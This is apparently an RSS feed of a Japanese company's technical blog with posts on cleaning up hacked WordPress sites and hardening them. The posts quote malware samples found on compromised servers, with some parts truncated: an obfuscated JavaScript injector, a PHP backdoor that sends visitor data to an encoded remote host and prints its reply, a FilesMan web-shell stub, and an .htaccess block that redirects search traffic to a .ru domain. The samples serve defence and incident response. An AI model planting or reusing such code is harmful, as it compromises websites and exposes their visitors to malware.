フォノクラフト株式会社:作業メモや備忘録など » Virus http://121.50.42.205/note 作業メモや備忘録など... Fri, 05 Jul 2013 05:17:27 +0000 ja hourly 1 http://wordpress.org/?v=3.1.3 htmlファイルの改ざんについて http://121.50.42.205/note/html%e3%81%ae%e5%a0%b4%e5%90%88%e3%81%af%e4%b8%8b%e8%a8%98%e3%81%ae%e6%a7%98%e3%81%aa%e8%a8%98%e8%bf%b0%e3%81%8c%e3%81%95%e3%82%8c%e3%82%8b%e3%81%93%e3%81%a8%e3%82%82%e3%81%82%e3%82%8b%e3%80%82_488 http://121.50.42.205/note/html%e3%81%ae%e5%a0%b4%e5%90%88%e3%81%af%e4%b8%8b%e8%a8%98%e3%81%ae%e6%a7%98%e3%81%aa%e8%a8%98%e8%bf%b0%e3%81%8c%e3%81%95%e3%82%8c%e3%82%8b%e3%81%93%e3%81%a8%e3%82%82%e3%81%82%e3%82%8b%e3%80%82_488#comments Thu, 25 Aug 2011 06:58:27 +0000 admin http://phono.co.jp/note/?p=488 HTMLファイルの場合 htmlの場合は下記の様な記述がされることもある。
<script>
String.prototype.test="h";for(i in'')if(i=='test')m=''[i];var ss="";aa=document.createTextNode(m+"a"+"rC"+"ode");s=String["fr"+"omC"+aa['nod'+'eVa'+'lue']];d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd="e";try{for(i in{})if(~i.indexOf('as'))throw 1;}catch(q){h=d2-d;}
n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,......(長いので中略).....95-h,
107-h,99-h,37-h,39-h,57-h,100-h,44-h,113-h,99-h,......(長いので中略).....,7-h,123-h];
for(i=0;i<n.length;i++)ss+=s(eval("n"+"["+"i"+"]"));eval(ss);
</script>
]]>
http://121.50.42.205/note/html%e3%81%ae%e5%a0%b4%e5%90%88%e3%81%af%e4%b8%8b%e8%a8%98%e3%81%ae%e6%a7%98%e3%81%aa%e8%a8%98%e8%bf%b0%e3%81%8c%e3%81%95%e3%82%8c%e3%82%8b%e3%81%93%e3%81%a8%e3%82%82%e3%81%82%e3%82%8b%e3%80%82_488/feed 0
htaccess、日本国内からしかアクセスを許可しない設定。 http://121.50.42.205/note/htaccess%e3%80%81%e6%97%a5%e6%9c%ac%e5%9b%bd%e5%86%85%e3%81%8b%e3%82%89%e3%81%97%e3%81%8b%e3%82%a2%e3%82%af%e3%82%bb%e3%82%b9%e3%82%92%e8%a8%b1%e5%8f%af%e3%81%97%e3%81%aa%e3%81%84%e8%a8%ad%e5%ae%9a_478 http://121.50.42.205/note/htaccess%e3%80%81%e6%97%a5%e6%9c%ac%e5%9b%bd%e5%86%85%e3%81%8b%e3%82%89%e3%81%97%e3%81%8b%e3%82%a2%e3%82%af%e3%82%bb%e3%82%b9%e3%82%92%e8%a8%b1%e5%8f%af%e3%81%97%e3%81%aa%e3%81%84%e8%a8%ad%e5%ae%9a_478#comments Sun, 31 Jul 2011 07:30:11 +0000 admin http://phono.co.jp/note/?p=478 使い道

固定IPが望ましいが、日本国内からしかアクセスを許可しないようにするだけでも、多少なりともハッキング対策にはなる。

参考サイト

]]>
http://121.50.42.205/note/htaccess%e3%80%81%e6%97%a5%e6%9c%ac%e5%9b%bd%e5%86%85%e3%81%8b%e3%82%89%e3%81%97%e3%81%8b%e3%82%a2%e3%82%af%e3%82%bb%e3%82%b9%e3%82%92%e8%a8%b1%e5%8f%af%e3%81%97%e3%81%aa%e3%81%84%e8%a8%ad%e5%ae%9a_478/feed 0
[WP] ウィルス対策ソフトで「trojan-downloader.js.○○○○」と出てしまった場合。 http://121.50.42.205/note/wp-%e3%83%8f%e3%83%83%e3%82%ad%e3%83%b3%e3%82%b0_467 http://121.50.42.205/note/wp-%e3%83%8f%e3%83%83%e3%82%ad%e3%83%b3%e3%82%b0_467#comments Sun, 31 Jul 2011 06:58:38 +0000 admin http://phono.co.jp/note/?p=467

調べるべきファイル

WordPressで構築しているサイトに於いて、カスペルスキーやaguse.jpで「trojan-downloader.js.○○○○」と出てしまった場合は、下記を疑ってみる。

  1. /index.php
  2. /wp-admin/index.php
  3. /wp-admin/admin-footer.php
  4. /wp-content/ 直下にindex.phpが置かれる
  5. /wp-content/themes/(テーマ名)/footer.php
など

兎に角、各ディレクトリやを探ってみて更新日(タイムスタンプ)に身に覚えの無い場合、怪しい場合は要注意。

記述されるソース:例

ソース上にこのような記述がされていたら要注意。

※あまりこういったコード自体を晒しては行けないんですが・・・

<?php    
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL3(....中略....)QucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } else
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0c(....中略....)XQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = curl_exec($stCurlHandle); 
    echo $sResult; // Statistic code end
    curl_close($stCurlHandle); 
}
?>

 

<?php    
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } else
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2(....中略....)N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = curl_exec($stCurlHandle); 
    echo $sResult; // Statistic code end
    curl_close($stCurlHandle); 
}
?>

原因

いろいろ調べてみたところ、base64_decodeが埋め込まれてたことが発覚

/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/ の中に wp-form.php というファイルが置かれており

if(isset(
$_GET['4362af97c8f'])) {
$auth_pass = "6eac901b7(中略)898e32d12";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","eval(gzinflate(base64_decode('5b1pdxrHEjD82fec(....中略....)EiippqKn6fwE=')));
",".");
}

という記述を発見。『tinymce』ディレクトリ自体をバックアップと差し替え様子をみる。

詳しいことはまだ分からないのだが、どうやらwordpressの管理画面から「投稿」する度に発動する模様

出典・参考

フォーラム「PHPファイルに不正なコードが埋め込まれる」

]]>
http://121.50.42.205/note/wp-%e3%83%8f%e3%83%83%e3%82%ad%e3%83%b3%e3%82%b0_467/feed 0
[WP]インストール前から気をつけること(セキュリティ的観点から) http://121.50.42.205/note/wp%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e5%89%8d%e3%81%ab%e6%b0%97%e3%82%92%e3%81%a4%e3%81%91%e3%82%8b%e4%ba%8b%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3_385 http://121.50.42.205/note/wp%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e5%89%8d%e3%81%ab%e6%b0%97%e3%82%92%e3%81%a4%e3%81%91%e3%82%8b%e4%ba%8b%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3_385#comments Mon, 25 Jul 2011 07:55:09 +0000 admin http://phono.co.jp/note/?p=385 前置き

wordpressのセキュリティレベルを少しでもを上げる為に、インストール前に確認しておきたいこと。
特にDBのプレフィックスなど後から変更しにくいものもあるので事前に意識しておく。

何れも“気休め”程度にしかならないかも知れない。
しかし1%でもセキュリティレベルが上がれば…と願いつつ。

確認項目

1.インストール時に気をつけること

  1. 必ず最新のwordpressで構築する(※1)
  2. DBのプレフィックス(Prefix)をデフォルトの「wp_」から乱数などに変更する
  3. 管理者名を「admin」のままにしない
  4. 管理者パスワードは乱数などの「複雑なもの」にする

※1:
使い慣れた、または有用なプラグインが最新バージョンに対応していないので最新版が使えない…といった場合もあるが、極力最新版を使う様に心がけたい

2.インストール直後に行っておくこと

  1. /wp-admin ディレクトリ直下に ベーシック認証(.htaccess/.htpasswd)を設定する
  2. /wp-config.php にセキュリティキーを設定する
  3. /wp-config.php や /.htaccess はパーミッションを444(Read Only)にしておく
  4. セキュリティ関連のプラグイン『Secure WordPress』等を入れておく(下記参照)
  5. プラグイン『Akismet』を有効にしておく(WordPress.comでAPI keyを取得する)
  6. デフォルトのサンプル固定ページとコメントは削除(メッセンジャー云々、ゴッサム云々、という固定ページ….)

3.運用中に行うこと、心がけること

  1. 可能な限り新しいバージョンのWordPressを更新しつづける
  2. 定期的にDBやwordpress本体のバックアップを取っておく
  3. プラグイン『admin-ip-watcher』から送られてくるメールを注視する

4.その他(ガンプラー対策も含めて)

  1. FTP接続ではなく、FTPS(FTP-SSL )やSFTPで接続する
  2. FTPクライアント『FFFTP』は使用しない(SFTPに対応していない、また攻撃されやすい為)
  3. 可能な限りWindows以外のOSで作業する(ウィルスに感染しにくい為)

もしファイル改ざんされてしまったら、真っ先に行う事

まず発見した時点で

  1. 解決する迄、一時的にサイトをクローズする(訪問者に被害が及ぶ可能性が高い為)

次に

  1. WordPressを最新のバージョンにアップデートする
  2. プラグイン等の関係でアップデートが無理ならばgrep等で「base64」というキーワードでwordpress全体を検索し該当箇所を潰す。htmlファイルには妙なJSが埋め込まれていることがある。.htaccessにも妙な埋め込みもある。他にphp自体の改ざん等いろいろある。。。。)
  3. 管理画面などのパスワードを変更する

wordpressセキュリティに関する、有益なサイト

]]>
http://121.50.42.205/note/wp%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e5%89%8d%e3%81%ab%e6%b0%97%e3%82%92%e3%81%a4%e3%81%91%e3%82%8b%e4%ba%8b%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3_385/feed 0
htaccessファイルの改ざんについて http://121.50.42.205/note/htaccess%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%81%ae%e6%94%b9%e3%81%96%e3%82%93_290 http://121.50.42.205/note/htaccess%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%81%ae%e6%94%b9%e3%81%96%e3%82%93_290#comments Mon, 11 Jul 2011 13:24:30 +0000 admin http://phono.co.jp/note/?p=290 経緯と原因、そして対策

FTPログやアップロードされたファイルオーナーから察するに、
おそらくFTP情報が漏れて改ざんされた可能性が高い。

改ざん内容から8080系のマルウェアGumblarの線が濃いが、
私の環境でブラウザ確認以外 Windowsは使っていない、
また、パスワードを変えても同じ被害が起こる。

ということは、

FTP通信時に抜かれている可能性も考え得る。
SFTPでの接続だが、抜かれる/漏れる可能性はゼロでは無い。
(FTPクライアントはCyberduckとTransmitの併用。)

さらに、最大の問題が
このFTPアカウントは数人が使用している。
ということ。

確認出来ていないが Windows FFFTP等からのアクセスもあるだろう。
またはキーロガーが仕込まれている。その可能性も大いにある。

応急処置として、
他の方には面倒をかけるが(固定IPで無い為設定できない)、
現在はIP制限を行い、アクセス後毎度PWを変更している。

この処置により、事態は収束したようにも見える。

他の方々には、固定IPとSFTP接続の環境を整えて頂くしかない。

環境が整い次第、個々人にFTPアカウントを切り分けて再設定して頂く。
これにより、万一再発しても、どこから改ざんされているかを特定できる。

ファイルが削除される程度なら、まだ内輪で済まされるが、
この手のリダイレクトはアクセスして頂いてる方々に迷惑かけ、
場合によっては尊大な被害を与えてしまう。

本来アカウント管理は自分では無いのだが、そうも言っていられない。

事態は深刻なのだ。

 

参考

【注意喚起】Gumblar(ガンブラー)ウイルスによる新たなホームページ改ざん被害を確認|株式会社ラック
ガンブラー対策「.htaccess」にも注意!|セキュリティーブログ
Gumblar/8080系ウィルスのサイト運営者向け対策サイト

追記された記述の例

下記の記述での 400〜500 Error や 主要検索エンジンからのアクセスの場合、未知のURLに転送されるようになってしまう。

RewriteEngine On
ErrorDocument 400 http://(ドメイン名).ru/force/index.php
ErrorDocument 401 http://(ドメイン名).ru/force/index.php
ErrorDocument 403 http://(ドメイン名).ru/force/index.php
ErrorDocument 404 http://(ドメイン名).ru/force/index.php
ErrorDocument 500 http://(ドメイン名).ru/force/index.php
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://(ドメイン名).ru/force/index.php [R=301,L]

など…………….

]]>
http://121.50.42.205/note/htaccess%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%81%ae%e6%94%b9%e3%81%96%e3%82%93_290/feed 0